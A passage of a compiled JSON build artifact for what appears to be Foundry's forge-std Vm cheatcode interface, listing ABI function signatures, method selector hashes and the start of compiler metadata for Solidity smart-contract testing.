:[{"name":"objectKey","type":"string","internalType":"string"},{"name":"value","type":"string","internalType":"string"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeString","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"values","type":"string[]","internalType":"string[]"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeString","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"value","type":"string","internalType":"string"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeUint","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeUint","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"values","type":"uint256[]","internalType":"uint256[]"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"setEnv","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"value","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setNonce","inputs":[{"name":"account","type":"address","internalType":"address"},{"name":"newNonce","type":"uint64","internalType":"uint64"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setNonceUnsafe","inputs":[{"name":"account","type":"address","internalType":"address"},{"name":"newNonce","type":"uint64","internalType":"uint64"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"sign","inputs":[{"name":"wallet","type":"tuple","internalType":"struct VmSafe.Wallet","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"publicKeyX","type":"uint256","internalType":"uint256"},{"name":"publicKeyY","type":"uint256","internalType":"uint256"},{"name":"privateKey","type":"uint256","internalType":"uint256"}]},{"name":"digest","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"v","type":"uint8","internalType":"uint8"},{"name":"r","type":"bytes32","internalType":"bytes32"},{"name":"s","type":"bytes32","internalType":"bytes32"}],"stateMutability":"nonpayable"},{"type":"function","name":"sign","inputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"},{"name":"digest","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"v","type":"uint8","internalType":"uint8"},{"name":"r","type":"bytes32","internalType":"bytes32"},{"name":"s","type":"bytes32","internalType":"bytes32"}],"stateMutability":"pure"},{"type":"function","name":"signP256","inputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"},{"name":"digest","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"r","type":"bytes32","internalType":"bytes32"},{"name":"s","type":"bytes32","internalType":"bytes32"}],"stateMutability":"pure"},{"type":"function","name":"skip","inputs":[{"name":"skipTest","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"sleep","inputs":[{"name":"duration","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"snapshot","inputs":[],"outputs":[{"name":"snapshotId","type":"uint256","internalType":"uint256"}],"stateMutability":"nonpayable"},{"type":"function","name":"split","inputs":[{"name":"input","type":"string","internalType":"string"},{"name":"delimiter","type":"string","internalType":"string"}],"outputs":[{"name":"outputs","type":"string[]","internalType":"string[]"}],"stateMutability":"pure"},{"type":"function","name":"startBroadcast","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"startBroadcast","inputs":[{"name":"signer","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"startBroadcast","inputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"startMappingRecording","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"startPrank","inputs":[{"name":"msgSender","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"startPrank","inputs":[{"name":"msgSender","type":"address","internalType":"address"},{"name":"txOrigin","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"startStateDiffRecording","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"stopAndReturnStateDiff","inputs":[],"outputs":[{"name":"accountAccesses","type":"tuple[]","internalType":"struct VmSafe.AccountAccess[]","components":[{"name":"chainInfo","type":"tuple","internalType":"struct VmSafe.ChainInfo","components":[{"name":"forkId","type":"uint256","internalType":"uint256"},{"name":"chainId","type":"uint256","internalType":"uint256"}]},{"name":"kind","type":"uint8","internalType":"enum VmSafe.AccountAccessKind"},{"name":"account","type":"address","internalType":"address"},{"name":"accessor","type":"address","internalType":"address"},{"name":"initialized","type":"bool","internalType":"bool"},{"name":"oldBalance","type":"uint256","internalType":"uint256"},{"name":"newBalance","type":"uint256","internalType":"uint256"},{"name":"deployedCode","type":"bytes","internalType":"bytes"},{"name":"value","type":"uint256","internalType":"uint256"},{"name":"data","type":"bytes","internalType":"bytes"},{"name":"reverted","type":"bool","internalType":"bool"},{"name":"storageAccesses","type":"tuple[]","internalType":"struct VmSafe.StorageAccess[]","components":[{"name":"account","type":"address","internalType":"address"},{"name":"slot","type":"bytes32","internalType":"bytes32"},{"name":"isWrite","type":"bool","internalType":"bool"},{"name":"previousValue","type":"bytes32","internalType":"bytes32"},{"name":"newValue","type":"bytes32","internalType":"bytes32"},{"name":"reverted","type":"bool","internalType":"bool"}]},{"name":"depth","type":"uint64","internalType":"uint64"}]}],"stateMutability":"nonpayable"},{"type":"function","name":"stopBroadcast","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"stopExpectSafeMemory","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"stopMappingRecording","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"stopPrank","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"store","inputs":[{"name":"target","type":"address","internalType":"address"},{"name":"slot","type":"bytes32","internalType":"bytes32"},{"name":"value","type":"bytes32","internalType":"bytes32"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"toBase64","inputs":[{"name":"data","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toBase64","inputs":[{"name":"data","type":"bytes","internalType":"bytes"}],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toBase64URL","inputs":[{"name":"data","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toBase64URL","inputs":[{"name":"data","type":"bytes","internalType":"bytes"}],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toLowercase","inputs":[{"name":"input","type":"string","internalType":"string"}],"outputs":[{"name":"output","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toString","inputs":[{"name":"value","type":"address","internalType":"address"}],"outputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toString","inputs":[{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toString","inputs":[{"name":"value","type":"bytes","internalType":"bytes"}],"outputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toString","inputs":[{"name":"value","type":"bool","internalType":"bool"}],"outputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toString","inputs":[{"name":"value","type":"int256","internalType":"int256"}],"outputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toString","inputs":[{"name":"value","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toUppercase","inputs":[{"name":"input","type":"string","internalType":"string"}],"outputs":[{"name":"output","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"transact","inputs":[{"name":"forkId","type":"uint256","internalType":"uint256"},{"name":"txHash","type":"bytes32","internalType":"bytes32"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transact","inputs":[{"name":"txHash","type":"bytes32","internalType":"bytes32"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"trim","inputs":[{"name":"input","type":"string","internalType":"string"}],"outputs":[{"name":"output","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"tryFfi","inputs":[{"name":"commandInput","type":"string[]","internalType":"string[]"}],"outputs":[{"name":"result","type":"tuple","internalType":"struct VmSafe.FfiResult","components":[{"name":"exitCode","type":"int32","internalType":"int32"},{"name":"stdout","type":"bytes","internalType":"bytes"},{"name":"stderr","type":"bytes","internalType":"bytes"}]}],"stateMutability":"nonpayable"},{"type":"function","name":"txGasPrice","inputs":[{"name":"newGasPrice","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"unixTime","inputs":[],"outputs":[{"name":"milliseconds","type":"uint256","internalType":"uint256"}],"stateMutability":"nonpayable"},{"type":"function","name":"warp","inputs":[{"name":"newTimestamp","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"writeFile","inputs":[{"name":"path","type":"string","internalType":"string"},{"name":"data","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"writeFileBinary","inputs":[{"name":"path","type":"string","internalType":"string"},{"name":"data","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"writeJson","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"path","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"writeJson","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"path","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"writeLine","inputs":[{"name":"path","type":"string","internalType":"string"},{"name":"data","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"writeToml","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"path","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"writeToml","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"path","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"accesses(address)":"65bc9481","activeFork()":"2f103f22","addr(uint256)":"ffa18649","allowCheatcodes(address)":"ea060291","assertApproxEqAbs(int256,int256,uint256)":"240f839d","assertApproxEqAbs(int256,int256,uint256,string)":"8289e621","assertApproxEqAbs(uint256,uint256,uint256)":"16d207c6","assertApproxEqAbs(uint256,uint256,uint256,string)":"f710b062","assertApproxEqAbsDecimal(int256,int256,uint256,uint256)":"3d5bc8bc","assertApproxEqAbsDecimal(int256,int256,uint256,uint256,string)":"6a5066d4","assertApproxEqAbsDecimal(uint256,uint256,uint256,uint256)":"045c55ce","assertApproxEqAbsDecimal(uint256,uint256,uint256,uint256,string)":"60429eb2","assertApproxEqRel(int256,int256,uint256)":"fea2d14f","assertApproxEqRel(int256,int256,uint256,string)":"ef277d72","assertApproxEqRel(uint256,uint256,uint256)":"8cf25ef4","assertApproxEqRel(uint256,uint256,uint256,string)":"1ecb7d33","assertApproxEqRelDecimal(int256,int256,uint256,uint256)":"abbf21cc","assertApproxEqRelDecimal(int256,int256,uint256,uint256,string)":"fccc11c4","assertApproxEqRelDecimal(uint256,uint256,uint256,uint256)":"21ed2977","assertApproxEqRelDecimal(uint256,uint256,uint256,uint256,string)":"82d6c8fd","assertEq(address,address)":"515361f6","assertEq(address,address,string)":"2f2769d1","assertEq(address[],address[])":"3868ac34","assertEq(address[],address[],string)":"3e9173c5","assertEq(bool,bool)":"f7fe3477","assertEq(bool,bool,string)":"4db19e7e","assertEq(bool[],bool[])":"707df785","assertEq(bool[],bool[],string)":"e48a8f8d","assertEq(bytes,bytes)":"97624631","assertEq(bytes,bytes,string)":"e24fed00","assertEq(bytes32,bytes32)":"7c84c69b","assertEq(bytes32,bytes32,string)":"c1fa1ed0","assertEq(bytes32[],bytes32[])":"0cc9ee84","assertEq(bytes32[],bytes32[],string)":"e03e9177","assertEq(bytes[],bytes[])":"e5fb9b4a","assertEq(bytes[],bytes[],string)":"f413f0b6","assertEq(int256,int256)":"fe74f05b","assertEq(int256,int256,string)":"714a2f13","assertEq(int256[],int256[])":"711043ac","assertEq(int256[],int256[],string)":"191f1b30","assertEq(string,string)":"f320d963","assertEq(string,string,string)":"36f656d8","assertEq(string[],string[])":"cf1c049c","assertEq(string[],string[],string)":"eff6b27d","assertEq(uint256,uint256)":"98296c54","assertEq(uint256,uint256,string)":"88b44c85","assertEq(uint256[],uint256[])":"975d5a12","assertEq(uint256[],uint256[],string)":"5d18c73a","assertEqDecimal(int256,int256,uint256)":"48016c04","assertEqDecimal(int256,int256,uint256,string)":"7e77b0c5","assertEqDecimal(uint256,uint256,uint256)":"27af7d9c","assertEqDecimal(uint256,uint256,uint256,string)":"d0cbbdef","assertFalse(bool)":"a5982885","assertFalse(bool,string)":"7ba04809","assertGe(int256,int256)":"0a30b771","assertGe(int256,int256,string)":"a84328dd","assertGe(uint256,uint256)":"a8d4d1d9","assertGe(uint256,uint256,string)":"e25242c0","assertGeDecimal(int256,int256,uint256)":"dc28c0f1","assertGeDecimal(int256,int256,uint256,string)":"5df93c9b","assertGeDecimal(uint256,uint256,uint256)":"3d1fe08a","assertGeDecimal(uint256,uint256,uint256,string)":"8bff9133","assertGt(int256,int256)":"5a362d45","assertGt(int256,int256,string)":"f8d33b9b","assertGt(uint256,uint256)":"db07fcd2","assertGt(uint256,uint256,string)":"d9a3c4d2","assertGtDecimal(int256,int256,uint256)":"78611f0e","assertGtDecimal(int256,int256,uint256,string)":"04a5c7ab","assertGtDecimal(uint256,uint256,uint256)":"eccd2437","assertGtDecimal(uint256,uint256,uint256,string)":"64949a8d","assertLe(int256,int256)":"95fd154e","assertLe(int256,int256,string)":"4dfe692c","assertLe(uint256,uint256)":"8466f415","assertLe(uint256,uint256,string)":"d17d4b0d","assertLeDecimal(int256,int256,uint256)":"11d1364a","assertLeDecimal(int256,int256,uint256,string)":"aa5cf788","assertLeDecimal(uint256,uint256,uint256)":"c304aab7","assertLeDecimal(uint256,uint256,uint256,string)":"7fefbbe0","assertLt(int256,int256)":"3e914080","assertLt(int256,int256,string)":"9ff531e3","assertLt(uint256,uint256)":"b12fc005","assertLt(uint256,uint256,string)":"65d5c135","assertLtDecimal(int256,int256,uint256)":"dbe8d88b","assertLtDecimal(int256,int256,uint256,string)":"40f0b4e0","assertLtDecimal(uint256,uint256,uint256)":"2077337e","assertLtDecimal(uint256,uint256,uint256,string)":"a972d037","assertNotEq(address,address)":"b12e1694","assertNotEq(address,address,string)":"8775a591","assertNotEq(address[],address[])":"46d0b252","assertNotEq(address[],address[],string)":"72c7e0b5","assertNotEq(bool,bool)":"236e4d66","assertNotEq(bool,bool,string)":"1091a261","assertNotEq(bool[],bool[])":"286fafea","assertNotEq(bool[],bool[],string)":"62c6f9fb","assertNotEq(bytes,bytes)":"3cf78e28","assertNotEq(bytes,bytes,string)":"9507540e","assertNotEq(bytes32,bytes32)":"898e83fc","assertNotEq(bytes32,bytes32,string)":"b2332f51","assertNotEq(bytes32[],bytes32[])":"0603ea68","assertNotEq(bytes32[],bytes32[],string)":"b873634c","assertNotEq(bytes[],bytes[])":"edecd035","assertNotEq(bytes[],bytes[],string)":"1dcd1f68","assertNotEq(int256,int256)":"f4c004e3","assertNotEq(int256,int256,string)":"4724c5b9","assertNotEq(int256[],int256[])":"0b72f4ef","assertNotEq(int256[],int256[],string)":"d3977322","assertNotEq(string,string)":"6a8237b3","assertNotEq(string,string,string)":"78bdcea7","assertNotEq(string[],string[])":"bdfacbe8","assertNotEq(string[],string[],string)":"b67187f3","assertNotEq(uint256,uint256)":"b7909320","assertNotEq(uint256,uint256,string)":"98f9bdbd","assertNotEq(uint256[],uint256[])":"56f29cba","assertNotEq(uint256[],uint256[],string)":"9a7fbd8f","assertNotEqDecimal(int256,int256,uint256)":"14e75680","assertNotEqDecimal(int256,int256,uint256,string)":"33949f0b","assertNotEqDecimal(uint256,uint256,uint256)":"669efca7","assertNotEqDecimal(uint256,uint256,uint256,string)":"f5a55558","assertTrue(bool)":"0c9fd581","assertTrue(bool,string)":"a34edc03","assume(bool)":"4c63e562","breakpoint(string)":"f0259e92","breakpoint(string,bool)":"f7d39a8d","broadcast()":"afc98040","broadcast(address)":"e6962cdb","broadcast(uint256)":"f67a965b","chainId(uint256)":"4049ddd2","clearMockedCalls()":"3fdf4e15","closeFile(string)":"48c3241f","coinbase(address)":"ff483c54","computeCreate2Address(bytes32,bytes32)":"890c283b","computeCreate2Address(bytes32,bytes32,address)":"d323826a","computeCreateAddress(address,uint256)":"74637a7a","copyFile(string,string)":"a54a87d8","createDir(string,bool)":"168b64d3","createFork(string)":"31ba3498","createFork(string,bytes32)":"7ca29682","createFork(string,uint256)":"6ba3ba2b","createSelectFork(string)":"98680034","createSelectFork(string,bytes32)":"84d52b7a","createSelectFork(string,uint256)":"71ee464d","createWallet(string)":"7404f1d2","createWallet(uint256)":"7a675bb6","createWallet(uint256,string)":"ed7c5462","deal(address,uint256)":"c88a5e6d","deleteSnapshot(uint256)":"a6368557","deleteSnapshots()":"421ae469","deriveKey(string,string,uint32)":"6bcb2c1b","deriveKey(string,string,uint32,string)":"29233b1f","deriveKey(string,uint32)":"6229498b","deriveKey(string,uint32,string)":"32c8176d","difficulty(uint256)":"46cc92d9","dumpState(string)":"709ecd3f","envAddress(string)":"350d56bf","envAddress(string,string)":"ad31b9fa","envBool(string)":"7ed1ec7d","envBool(string,string)":"aaaddeaf","envBytes(string)":"4d7baf06","envBytes(string,string)":"ddc2651b","envBytes32(string)":"97949042","envBytes32(string,string)":"5af231c1","envInt(string)":"892a0c61","envInt(string,string)":"42181150","envOr(string,address)":"561fe540","envOr(string,bool)":"4777f3cf","envOr(string,bytes)":"b3e47705","envOr(string,bytes32)":"b4a85892","envOr(string,int256)":"bbcb713e","envOr(string,string)":"d145736c","envOr(string,string,address[])":"c74e9deb","envOr(string,string,bool[])":"eb85e83b","envOr(string,string,bytes32[])":"2281f367","envOr(string,string,bytes[])":"64bc3e64","envOr(string,string,int256[])":"4700d74b","envOr(string,string,string[])":"859216bc","envOr(string,string,uint256[])":"74318528","envOr(string,uint256)":"5e97348f","envString(string)":"f877cb19","envString(string,string)":"14b02bc9","envUint(string)":"c1978d1f","envUint(string,string)":"f3dec099","etch(address,bytes)":"b4d6c782","eth_getLogs(uint256,uint256,address,bytes32[])":"35e1349b","exists(string)":"261a323e","expectCall(address,bytes)":"bd6af434","expectCall(address,bytes,uint64)":"c1adbbff","expectCall(address,uint256,bytes)":"f30c7ba3","expectCall(address,uint256,bytes,uint64)":"a2b1a1ae","expectCall(address,uint256,uint64,bytes)":"23361207","expectCall(address,uint256,uint64,bytes,uint64)":"65b7b7cc","expectCallMinGas(address,uint256,uint64,bytes)":"08e4e116","expectCallMinGas(address,uint256,uint64,bytes,uint64)":"e13a1834","expectEmit()":"440ed10d","expectEmit(address)":"86b9620d","expectEmit(bool,bool,bool,bool)":"491cc7c2","expectEmit(bool,bool,bool,bool,address)":"81bad6f3","expectRevert()":"f4844814","expectRevert(bytes)":"f28dceb3","expectRevert(bytes4)":"c31eb0e0","expectSafeMemory(uint64,uint64)":"6d016688","expectSafeMemoryCall(uint64,uint64)":"05838bf4","fee(uint256)":"39b37ab0","ffi(string[])":"89160467","fsMetadata(string)":"af368a08","getBlockNumber()":"42cbb15c","getBlockTimestamp()":"796b89b9","getCode(string)":"8d1cc925","getDeployedCode(string)":"3ebf73b4","getLabel(address)":"28a249b0","getMappingKeyAndParentOf(address,bytes32)":"876e24e6","getMappingLength(address,bytes32)":"2f2fd63f","getMappingSlotAt(address,bytes32,uint256)":"ebc73ab4","getNonce((address,uint256,uint256,uint256))":"a5748aad","getNonce(address)":"2d0335ab","getRecordedLogs()":"191553a4","isDir(string)":"7d15d019","isFile(string)":"e0eb04d4","isPersistent(address)":"d92d8efd","keyExists(string,string)":"528a683c","keyExistsJson(string,string)":"db4235f6","keyExistsToml(string,string)":"600903ad","label(address,string)":"c657c718","load(address,bytes32)":"667f9d70","loadAllocs(string)":"b3a056d7","makePersistent(address)":"57e22dde","makePersistent(address,address)":"4074e0a8","makePersistent(address,address,address)":"efb77a75","makePersistent(address[])":"1d9e269e","mockCall(address,bytes,bytes)":"b96213e4","mockCall(address,uint256,bytes,bytes)":"81409b91","mockCallRevert(address,bytes,bytes)":"dbaad147","mockCallRevert(address,uint256,bytes,bytes)":"d23cd037","parseAddress(string)":"c6ce059d","parseBool(string)":"974ef924","parseBytes(string)":"8f5d232d","parseBytes32(string)":"087e6e81","parseInt(string)":"42346c5e","parseJson(string)":"6a82600a","parseJson(string,string)":"85940ef1","parseJsonAddress(string,string)":"1e19e657","parseJsonAddressArray(string,string)":"2fce7883","parseJsonBool(string,string)":"9f86dc91","parseJsonBoolArray(string,string)":"91f3b94f","parseJsonBytes(string,string)":"fd921be8","parseJsonBytes32(string,string)":"1777e59d","parseJsonBytes32Array(string,string)":"91c75bc3","parseJsonBytesArray(string,string)":"6631aa99","parseJsonInt(string,string)":"7b048ccd","parseJsonIntArray(string,string)":"9983c28a","parseJsonKeys(string,string)":"213e4198","parseJsonString(string,string)":"49c4fac8","parseJsonStringArray(string,string)":"498fdcf4","parseJsonUint(string,string)":"addde2b6","parseJsonUintArray(string,string)":"522074ab","parseToml(string)":"592151f0","parseToml(string,string)":"37736e08","parseTomlAddress(string,string)":"65e7c844","parseTomlAddressArray(string,string)":"65c428e7","parseTomlBool(string,string)":"d30dced6","parseTomlBoolArray(string,string)":"127cfe9a","parseTomlBytes(string,string)":"d77bfdb9","parseTomlBytes32(string,string)":"8e214810","parseTomlBytes32Array(string,string)":"3e716f81","parseTomlBytesArray(string,string)":"b197c247","parseTomlInt(string,string)":"c1350739","parseTomlIntArray(string,string)":"d3522ae6","parseTomlKeys(string,string)":"812a44b2","parseTomlString(string,string)":"8bb8dd43","parseTomlStringArray(string,string)":"9f629281","parseTomlUint(string,string)":"cc7b0487","parseTomlUintArray(string,string)":"b5df27c8","parseUint(string)":"fa91454d","pauseGasMetering()":"d1a5b36f","prank(address)":"ca669fa7","prank(address,address)":"47e50cce","prevrandao(bytes32)":"3b925549","projectRoot()":"d930a0e6","readCallers()":"4ad0bac9","readDir(string)":"c4bc59e0","readDir(string,uint64)":"1497876c","readDir(string,uint64,bool)":"8102d70d","readFile(string)":"60f9bb11","readFileBinary(string)":"16ed7bc4","readLine(string)":"70f55728","readLink(string)":"9f5684a2","record()":"266cf109","recordLogs()":"41af2f52","rememberKey(uint256)":"22100064","removeDir(string,bool)":"45c62011","removeFile(string)":"f1afe04d","replace(string,string,string)":"e00ad03e","resetNonce(address)":"1c72346d","resumeGasMetering()":"2bcd50e0","revertTo(uint256)":"44d7f0a4","revertToAndDelete(uint256)":"03e0aca9","revokePersistent(address)":"997a0222","revokePersistent(address[])":"3ce969e6","roll(uint256)":"1f7b4f30","rollFork(bytes32)":"0f29772b","rollFork(uint256)":"d9bbf3a1","rollFork(uint256,bytes32)":"f2830f7b","rollFork(uint256,uint256)":"d74c83a4","rpc(string,string)":"1206c8a8","rpcUrl(string)":"975a6ce9","rpcUrlStructs()":"9d2ad72a","rpcUrls()":"a85a8418","selectFork(uint256)":"9ebf6827","serializeAddress(string,string,address)":"972c6062","serializeAddress(string,string,address[])":"1e356e1a","serializeBool(string,string,bool)":"ac22e971","serializeBool(string,string,bool[])":"92925aa1","serializeBytes(string,string,bytes)":"f21d52c7","serializeBytes(string,string,bytes[])":"9884b232","serializeBytes32(string,string,bytes32)":"2d812b44","serializeBytes32(string,string,bytes32[])":"201e43e2","serializeInt(string,string,int256)":"3f33db60","serializeInt(string,string,int256[])":"7676e127","serializeJson(string,string)":"9b3358b0","serializeString(string,string,string)":"88da6d35","serializeString(string,string,string[])":"561cd6f3","serializeUint(string,string,uint256)":"129e9002","serializeUint(string,string,uint256[])":"fee9a469","setEnv(string,string)":"3d5923ee","setNonce(address,uint64)":"f8e18b57","setNonceUnsafe(address,uint64)":"9b67b21c","sign((address,uint256,uint256,uint256),bytes32)":"b25c5a25","sign(uint256,bytes32)":"e341eaa4","signP256(uint256,bytes32)":"83211b40","skip(bool)":"dd82d13e","sleep(uint256)":"fa9d8713","snapshot()":"9711715a","split(string,string)":"8bb75533","startBroadcast()":"7fb5297f","startBroadcast(address)":"7fec2a8d","startBroadcast(uint256)":"ce817d47","startMappingRecording()":"3e9705c0","startPrank(address)":"06447d56","startPrank(address,address)":"45b56078","startStateDiffRecording()":"cf22e3c9","stopAndReturnStateDiff()":"aa5cf90e","stopBroadcast()":"76eadd36","stopExpectSafeMemory()":"0956441b","stopMappingRecording()":"0d4aae9b","stopPrank()":"90c5013b","store(address,bytes32,bytes32)":"70ca10bb","toBase64(bytes)":"a5cbfe65","toBase64(string)":"3f8be2c8","toBase64URL(bytes)":"c8bd0e4a","toBase64URL(string)":"ae3165b3","toLowercase(string)":"50bb0884","toString(address)":"56ca623e","toString(bool)":"71dce7da","toString(bytes)":"71aad10d","toString(bytes32)":"b11a19e8","toString(int256)":"a322c40e","toString(uint256)":"6900a3ae","toUppercase(string)":"074ae3d7","transact(bytes32)":"be646da1","transact(uint256,bytes32)":"4d8abc4b","trim(string)":"b2dad155","tryFfi(string[])":"f45c1ce7","txGasPrice(uint256)":"48f50c0f","unixTime()":"625387dc","warp(uint256)":"e5d6bf02","writeFile(string,string)":"897e0a97","writeFileBinary(string,bytes)":"1f21fc80","writeJson(string,string)":"e23cd19f","writeJson(string,string,string)":"35d6ad46","writeLine(string,string)":"619d897f","writeToml(string,string)":"c0865ba7","writeToml(string,string,string)":"51ac6a33"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"}],\"name\":\"accesses\",\"outputs\":[{\"internalType\":\"bytes32[]\",\"name\":\"readSlots\",\"type\":\"bytes32[]\"},{\"internalType\":\"bytes32[]\",\"name\":\"writeSlots\",\"type\":\"bytes32[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"activeFork\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"forkId\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"name\":\"addr\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"keyAddr\",\"type\":\"address\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"allowCheatcodes\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"maxDelta\",\"type\":\"uint256\"}],\"name\":\"assertApproxEqAbs\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"maxDelta\",\"type\":\"uint256\"}],\"name\":\"assertApproxEqAbs\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"maxDelta\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertApproxEqAbs\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"maxDelta\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertApproxEqAbs\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"maxDelta\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertApproxEqAbsDecimal\",\"outp